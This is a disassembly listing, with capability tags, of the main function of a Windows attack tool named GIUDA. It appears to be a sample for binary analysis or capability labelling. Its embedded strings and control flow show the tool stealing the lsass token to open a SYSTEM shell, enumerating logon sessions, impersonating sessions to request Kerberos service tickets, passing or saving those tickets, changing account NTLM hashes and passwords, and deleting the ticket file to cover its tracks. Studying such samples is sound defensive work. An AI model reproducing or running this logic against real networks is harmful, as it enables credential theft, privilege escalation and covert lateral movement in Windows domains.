Function at 0x100001f20
Capabilities:
Acquire debug privileges
Delete file
Get common file path
Get file size
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
lea rsp, [rsp - 0x160]
mov qword [rbp - 0x120], rbx
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
nop
mov edx, 1
lea rcx, str._:._fox_aka_calipendula
call fcn.100001a70
mov edx, 1
lea rcx, str.GIUDA_2023090500
call fcn.100001a70
call fcn.1000121f0
mov rcx, rax
call fcn.100012370
call fcn.10000e3c0
call fcn.100013390
test eax, eax
jle 0x10000203c
lea rcx, [rbp - 8]
mov edx, 0x104
call fcn.10000ee00
mov rcx, qword [rbp - 8]
mov edx, 0x103
call sub.kernel32.dll_GetSystemDirectoryA
lea rcx, str.SeDebugPrivilege
call fcn.100033a90
test al, al
jne 0x10000203c
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._ptt
call fcn.100008950
test rax, rax
jne 0x10000203c
call fcn.1000121f0
mov rbx, rax
lea r8, str._You_need_Administrative_privileges
mov rdx, rbx
xor ecx, ecx
call fcn.100012440
call fcn.10000e3c0
mov rcx, rbx
call fcn.100012370
call fcn.10000e3c0
call fcn.1000121f0
mov rbx, rax
lea r8, str._vAborting...
mov rdx, rbx
xor ecx, ecx
call fcn.100012440
call fcn.10000e3c0
mov rcx, rbx
call fcn.100012370
call fcn.10000e3c0
nop dword [rax]
call fcn.100013390
test eax, eax
jne 0x1000021bc
mov edx, 1
lea rcx, str.To_spawn_a_cmd.exe_as_SYSTEM
call fcn.100001a70
mov edx, 1
lea rcx, str.C:__GIUDA__runaslsass
call fcn.100001a70
call fcn.1000121f0
mov rbx, rax
lea r8, [0x10004d330]
mov rdx, rbx
xor ecx, ecx
call fcn.100012440
call fcn.10000e3c0
mov rcx, rbx
call fcn.100012370
call fcn.10000e3c0
mov edx, 1
lea rcx, str.C:__GIUDA__runaspid:PID
call fcn.100001a70
call fcn.1000121f0
mov rcx, rax
call fcn.100012370
call fcn.10000e3c0
mov edx, 1
lea rcx, str.To_query_active_LUIDs
call fcn.100001a70
mov edx, 1
lea rcx, str.C:__GIUDA__askluids
call fcn.100001a70
call fcn.1000121f0
mov rcx, rax
call fcn.100012370
call fcn.10000e3c0
mov edx, 1
lea rcx, str.To_ask_a_TGS
call fcn.100001a70
mov edx, 1
lea rcx, str.C:__GIUDA__gettgs__luid:0xNNNNN__msdsspn:HTTP_DCNAME
call fcn.100001a70
mov edx, 1
lea rcx, str.C:__GIUDA__gettgs__luid:0xNNNNN__msdsspn:HTTP_DCNAME__save
call fcn.100001a70
call fcn.1000121f0
mov rcx, rax
call fcn.100012370
call fcn.10000e3c0
mov edx, 1
lea rcx, str.Example:
call fcn.100001a70
mov edx, 1
lea rcx, str._runaslsass___to_become_SYSTEM
call fcn.100001a70
mov edx, 1
lea rcx, str._askluids___to_get_all_LUIDs
call fcn.100001a70
mov edx, 1
lea rcx, str._gettgs_and__luid:0xNNNNN_and__msdsspn:HTTP_DCNAME___to_get_and_PASS_a_tgs
call fcn.100001a70
mov edx, 1
lea rcx, str._gettgs_and__luid:0xNNNNN_and__msdsspn:HTTP_DCNAME__save___to_get_and_SAVE_a_tgs
call fcn.100001a70
mov edx, 1
lea rcx, str.Open_a_Powershell_and...
call fcn.100001a70
mov edx, 1
lea rcx, str._PS__C:__Enter_PSsession__computername_DCNAME
call fcn.100001a70
mov edx, 1
lea rcx, str.Enjoy_GIUDA
call fcn.100001a70
nop
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._msdsspn
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x1000022c0
mov rcx, qword [0x100049400]
call fcn.100004110
mov rbx, rax
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006c020]
lea rcx, [0x10006c060]
mov r9, rbx
call fcn.1000088a0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006c060]
xor r9, r9
lea r8, str._msdsspn:
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c060]
call fcn.1000078e0
mov rdx, qword [0x10006c060]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
test rax, rax
jle 0x1000022c0
mov rdx, qword [0x10006c060]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
mov r9, rax
sub r9, 1
mov rdx, qword [0x10006c060]
xor r8, r8
lea rcx, [rbp - 0x18]
call fcn.1000088a0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c060]
call fcn.1000078e0
nop
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._runaspid
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x100002428
mov rcx, qword [0x100049400]
call fcn.100004110
mov rbx, rax
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006c020]
lea rcx, [0x10006c050]
mov r9, rbx
call fcn.1000088a0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006c050]
xor r9, r9
lea r8, str._runaspid:
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c050]
call fcn.1000078e0
mov rdx, qword [0x10006c050]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
test rax, rax
jle 0x1000023c4
mov rdx, qword [0x10006c050]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
mov r9, rax
sub r9, 1
mov rdx, qword [0x10006c050]
xor r8, r8
lea rcx, [rbp - 0x18]
call fcn.1000088a0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c050]
call fcn.1000078e0
nop
cmp qword [0x10006c050], 0
jne 0x1000023e4
mov edx, 1
lea rcx, str.Check_your_syntax__PID_is_empty
call fcn.100001a70
jmp 0x1000031dc
mov r8, qword [0x10006c060]
mov rdx, qword [0x10006c050]
lea rcx, str.cmd.exe
call fcn.100001b40
test al, al
je 0x100002415
mov edx, 1
lea rcx, str.Giuda_Opened_CMD_as_GOD...
call fcn.100001a70
jmp 0x100002426
mov edx, 1
lea rcx, str.Error__not_good...
call fcn.100001a70
nop
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._ticket
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x10000254c
mov rcx, qword [0x100049400]
call fcn.100004110
mov rbx, rax
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006c020]
lea rcx, [0x10006c030]
mov r9, rbx
call fcn.1000088a0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006c030]
xor r9, r9
lea r8, str._ticket:
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c030]
call fcn.1000078e0
mov rdx, qword [0x10006c030]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
test rax, rax
jle 0x10000252c
mov rdx, qword [0x10006c030]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
mov r9, rax
sub r9, 1
mov rdx, qword [0x10006c030]
xor r8, r8
lea rcx, [rbp - 0x18]
call fcn.1000088a0
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c030]
call fcn.1000078e0
nop
cmp qword [0x10006c030], 0
jne 0x10000254c
mov edx, 1
lea rcx, str.Check_your_syntax__TICKET_is_empty
call fcn.100001a70
jmp 0x1000031dc
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._runaslsass
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x100002620
xor dl, dl
lea rcx, str.lsass.exe
call fcn.100034be0
mov ecx, eax
mov r9d, 0xff
lea r8, [rbp - 0x118]
mov rdx, 0xffffffffffffffff
call fcn.100004c20
xor r8d, r8d
lea rdx, [rbp - 0x118]
lea rcx, [rbp - 0x18]
call fcn.100008260
xor r8b, r8b
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.100009140
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c050]
call fcn.1000078e0
mov r8, qword [0x10006c060]
mov rdx, qword [0x10006c050]
lea rcx, str.cmd.exe
call fcn.100001b40
test al, al
je 0x10000260e
mov edx, 1
lea rcx, str.Giuda_Opened_CMD_as_GOD...
call fcn.100001a70
jmp 0x10000261f
mov edx, 1
lea rcx, str.Error__not_good...
call fcn.100001a70
nop
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._luid:
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x1000026e8
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006c020]
lea rcx, [0x10006c040]
mov r9d, 0xff
call fcn.1000088a0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006c040]
xor r9, r9
lea r8, str._luid:
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c040]
call fcn.1000078e0
mov rdx, qword [0x10006c040]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
mov rdx, rax
lea rcx, [0x10006c040]
mov r8d, 0xff
call fcn.100008cb0
nop dword [rax]
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._save
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x100002724
mov byte [0x100049280], 1
nop
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._gettgs
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x100002a0c
cmp qword [0x10006c040], 0
jne 0x100002778
lea rcx, [0x10006c040]
lea rdx, [0x10004d968]
call fcn.1000078e0
cmp qword [0x10006c040], 0
je 0x10000280c
mov rdx, qword [0x10006c040]
mov r9d, 2
xor r8, r8
lea rcx, [rbp - 0x18]
call fcn.1000088a0
mov rcx, qword [rbp - 0x18]
lea rdx, [0x10004d988]
call fcn.1000085c0
test rax, rax
jne 0x1000027ec
mov dword [rsp + 0x20], 2
mov rdx, qword [0x10006c040]
lea r9, [0x10004d9a8]
lea r8, [0x10004d988]
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c040]
call fcn.1000078e0
jmp 0x100002809
mov r8, qword [0x10006c040]
lea rcx, [0x10006c040]
xor r9d, r9d
lea rdx, [0x10004d9a8]
call fcn.100007a00
nop dword [rax]
call fcn.1000121f0
mov rbx, rax
mov r8, qword [0x10006c040]
mov rdx, rbx
xor ecx, ecx
call fcn.100012540
call fcn.10000e3c0
mov rcx, rbx
call fcn.100012370
call fcn.10000e3c0
mov edx, 1
lea rcx, str.____Giuda_betrays_for_a_few_coins
call fcn.100001a70
lea rcx, [rbp - 0x18]
call fcn.100007860
lea rax, str.Asking_a_TGS_impersonating_LUID:
mov qword [rbp - 0x38], rax
mov rax, qword [0x10006c040]
mov qword [rbp - 0x30], rax
lea rax, str._for_MSDSSPN:
mov qword [rbp - 0x28], rax
mov rax, qword [0x10006c060]
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x38]
xor r9d, r9d
mov r8d, 3
lea rcx, [rbp - 0x18]
call fcn.100007cd0
mov rcx, qword [rbp - 0x18]
mov edx, 1
call fcn.100001a70
call fcn.100021bf0
test eax, eax
jne 0x1000028e0
mov rcx, qword [0x10006c040]
call fcn.1000160a0
movsxd r8, eax
mov rcx, qword [0x10006c060]
mov edx, 0xffffffff
call fcn.100022990
mov edx, 1
lea rcx, str.____Giuda_spilled_the_name
call fcn.100001a70
call fcn.100021dd0
cmp byte [0x100049280], 0
jne 0x1000029fb
mov dword [0x10006c080], 0xffffffff
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
xor r9, r9
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x10004da90]
call sub.kernel32.dll_CreateFileA
mov dword [0x10006c080], eax
mov ecx, eax
xor edx, edx
call sub.kernel32.dll_GetFileSize
mov dword [0x10006c070], eax
mov ecx, eax
call fcn.10000eee0
mov qword [0x10006c090], rax
mov dword [0x10006c010], 0
mov edx, 1
lea rcx, str.Loading_TGS
call fcn.100001a70
mov qword [rsp + 0x20], 0
mov rdx, qword [0x10006c090]
mov ecx, dword [0x10006c080]
lea r9, [0x10006c010]
mov r8d, dword [0x10006c070]
call sub.kernel32.dll_ReadFile
mov ecx, dword [0x10006c080]
call sub.kernel32.dll_CloseHandle
cmp dword [0x10006c010], 0
je 0x1000029dc
call fcn.100021bf0
test eax, eax
jne 0x1000029dc
mov edx, dword [0x10006c010]
mov rcx, qword [0x10006c090]
xor r8, r8
call fcn.100021e80
mov edx, 1
lea rcx, str.____Giuda_collects_the_coins_and_Pass_the_Ticket
call fcn.100001a70
call fcn.100021dd0
nop dword [rax]
lea rcx, [0x10004da90]
call sub.kernel32.dll_DeleteFileA
mov edx, 1
lea rcx, str.____Giuda_betrayed_and_covered_tracks
call fcn.100001a70
jmp 0x100002a0c
mov edx, 1
lea rcx, str.Ticket_saved_as_TICKET.KIRBI
call fcn.100001a70
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._ptt
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x100002c0c
cmp qword [0x10006c030], 0
jne 0x100002a64
mov edx, 1
lea rcx, str.Please_specify_a_TICKET_file
call fcn.100001a70
jmp 0x1000031dc
mov rcx, qword [0x10006c030]
mov dl, 1
call fcn.100015a60
test al, al
jne 0x100002adc
lea rcx, [rbp - 0x18]
call fcn.100007860
lea rax, str.Ticket_file
mov qword [rbp - 0x30], rax
mov rax, qword [0x10006c030]
mov qword [rbp - 0x28], rax
lea rax, str._doesnt_exists
mov qword [rbp - 0x20], rax
lea rdx, [rbp - 0x30]
xor r9d, r9d
mov r8d, 2
lea rcx, [rbp - 0x18]
call fcn.100007cd0
mov rcx, qword [rbp - 0x18]
mov edx, 1
call fcn.100001a70
mov edx, 1
lea rcx, str.Please_check_filename
call fcn.100001a70
jmp 0x1000031dc
mov edx, 1
lea rcx, str.____Giuda_accepted_few_coins
call fcn.100001a70
mov dword [0x10006c080], 0xffffffff
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov rcx, qword [0x10006c030]
test rcx, rcx
jne 0x100002b23
lea rcx, [0x10006d570]
xor r9, r9
mov r8d, 1
mov edx, 0x80000000
call sub.kernel32.dll_CreateFileA
mov dword [0x10006c080], eax
mov ecx, eax
xor edx, edx
call sub.kernel32.dll_GetFileSize
mov dword [0x10006c070], eax
mov ecx, eax
call fcn.10000eee0
mov qword [0x10006c090], rax
mov dword [0x10006c010], 0
mov edx, 1
lea rcx, str.Loading_TGS
call fcn.100001a70
mov qword [rsp + 0x20], 0
mov rdx, qword [0x10006c090]
mov ecx, dword [0x10006c080]
lea r9, [0x10006c010]
mov r8d, dword [0x10006c070]
call sub.kernel32.dll_ReadFile
mov ecx, dword [0x10006c080]
call sub.kernel32.dll_CloseHandle
cmp dword [0x10006c010], 0
je 0x100002be8
call fcn.100021bf0
test eax, eax
jne 0x100002be8
mov edx, 1
lea rcx, str.____Giuda_collects_the_coins_and_Pass_the_Ticket
call fcn.100001a70
mov edx, dword [0x10006c010]
mov rcx, qword [0x10006c090]
xor r8, r8
call fcn.100021e80
call fcn.100021dd0
nop dword [rax]
mov edx, 1
lea rcx, str.Ticket_loaded_in_memory
call fcn.100001a70
mov edx, 1
lea rcx, str.____Giuda_betrayed
call fcn.100001a70
nop
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._askluids
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x100002ce0
mov rcx, qword [0x100049400]
call fcn.100004110
mov rbx, rax
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006c020]
lea rcx, [0x10006c060]
mov r9, rbx
call fcn.1000088a0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006c060]
xor r9, r9
lea r8, str._askluids:
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c060]
call fcn.1000078e0
lea rcx, [0x10006c040]
lea rdx, [0x10004d968]
call fcn.1000078e0
call fcn.100021bf0
test eax, eax
jne 0x100002ce0
lea rcx, [0x100021ab0]
call fcn.100034530
call fcn.100021dd0
nop
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._newhash:
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x100002da8
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006c020]
lea rcx, [0x10006c0b0]
mov r9d, 0xff
call fcn.1000088a0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006c0b0]
xor r9, r9
lea r8, str._newhash:
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c0b0]
call fcn.1000078e0
mov rdx, qword [0x10006c0b0]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
mov rdx, rax
lea rcx, [0x10006c0b0]
mov r8d, 0xff
call fcn.100008cb0
nop dword [rax]
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._oldpwd:
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x100002e70
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006c020]
lea rcx, [0x10006c0c0]
mov r9d, 0xff
call fcn.1000088a0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006c0c0]
xor r9, r9
lea r8, str._oldpwd:
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c0c0]
call fcn.1000078e0
mov rdx, qword [0x10006c0c0]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
mov rdx, rax
lea rcx, [0x10006c0c0]
mov r8d, 0xff
call fcn.100008cb0
nop dword [rax]
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._newpwd:
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x100002f38
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006c020]
lea rcx, [0x10006c0d0]
mov r9d, 0xff
call fcn.1000088a0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006c0d0]
xor r9, r9
lea r8, str._newpwd:
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c0d0]
call fcn.1000078e0
mov rdx, qword [0x10006c0d0]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
mov rdx, rax
lea rcx, [0x10006c0d0]
mov r8d, 0xff
call fcn.100008cb0
nop dword [rax]
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._server:
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x100003000
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006c020]
lea rcx, [0x10006c0e0]
mov r9d, 0xff
call fcn.1000088a0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006c0e0]
xor r9, r9
lea r8, str._server:
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c0e0]
call fcn.1000078e0
mov rdx, qword [0x10006c0e0]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
mov rdx, rax
lea rcx, [0x10006c0e0]
mov r8d, 0xff
call fcn.100008cb0
nop dword [rax]
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._user:
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x1000030c8
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, dword [0x10006c020]
lea rcx, [0x10006c0a0]
mov r9d, 0xff
call fcn.1000088a0
mov dword [rsp + 0x20], 3
mov rdx, qword [0x10006c0a0]
xor r9, r9
lea r8, str._user:
lea rcx, [rbp - 0x18]
call fcn.100019660
mov rdx, qword [rbp - 0x18]
lea rcx, [0x10006c0a0]
call fcn.1000078e0
mov rdx, qword [0x10006c0a0]
mov r8d, 1
mov ecx, 0x20
call fcn.100008a10
mov rdx, rax
lea rcx, [0x10006c0a0]
mov r8d, 0xff
call fcn.100008cb0
nop dword [rax]
mov rdx, qword [0x100049400]
xor r8d, r8d
lea rcx, [rbp - 0x10]
call fcn.100008350
mov rdx, qword [rbp - 0x10]
mov r8d, 1
lea rcx, str._changentlm
call fcn.100008950
mov dword [0x10006c020], eax
test eax, eax
jbe 0x1000031dc
cmp qword [0x10006c0c0], 0
je 0x100003130
mov rdx, qword [0x10006c0c0]
lea rcx, [rbp - 0x28]
call fcn.100033960
mov rax, qword [rbp - 0x28]
mov qword [0x10006c0f0], rax
mov rax, qword [rbp - 0x20]
mov qword [0x10006c0f8], rax
nop
cmp qword [0x10006c0d0], 0
je 0x100003160
mov rdx, qword [0x10006c0d0]
lea rcx, [rbp - 0x28]
call fcn.100033960
mov rax, qword [rbp - 0x28]
mov qword [0x10006c100], rax
mov rax, qword [rbp - 0x20]
mov qword [0x10006c108], rax
cmp qword [0x10006c0b0], 0
je 0x100003190
mov rdx, qword [0x10006c0b0]
lea rcx, [rbp - 0x28]
call fcn.100035580
mov rax, qword [rbp - 0x28]
mov qword [0x10006c100], rax
mov rax, qword [rbp - 0x20]
mov qword [0x10006c108], rax
lea r9, [0x10006c100]
lea r8, [0x10006c0f0]
mov rdx, qword [0x10006c0a0]
mov rcx, qword [0x10006c0e0]
call fcn.100035a40
test al, al
je 0x1000031c8
mov edx, 1
lea rcx, [0x10004de30]
call fcn.100035160
jmp 0x1000031d9
mov edx, 1
lea rcx, str.Failed_to_change
call fcn.100035160
nop dword [rax]
nop
mov rcx, rbp
call fcn.100001ef0
mov rbx, qword [rbp - 0x120]
lea rsp, [rbp]
pop rbp
ret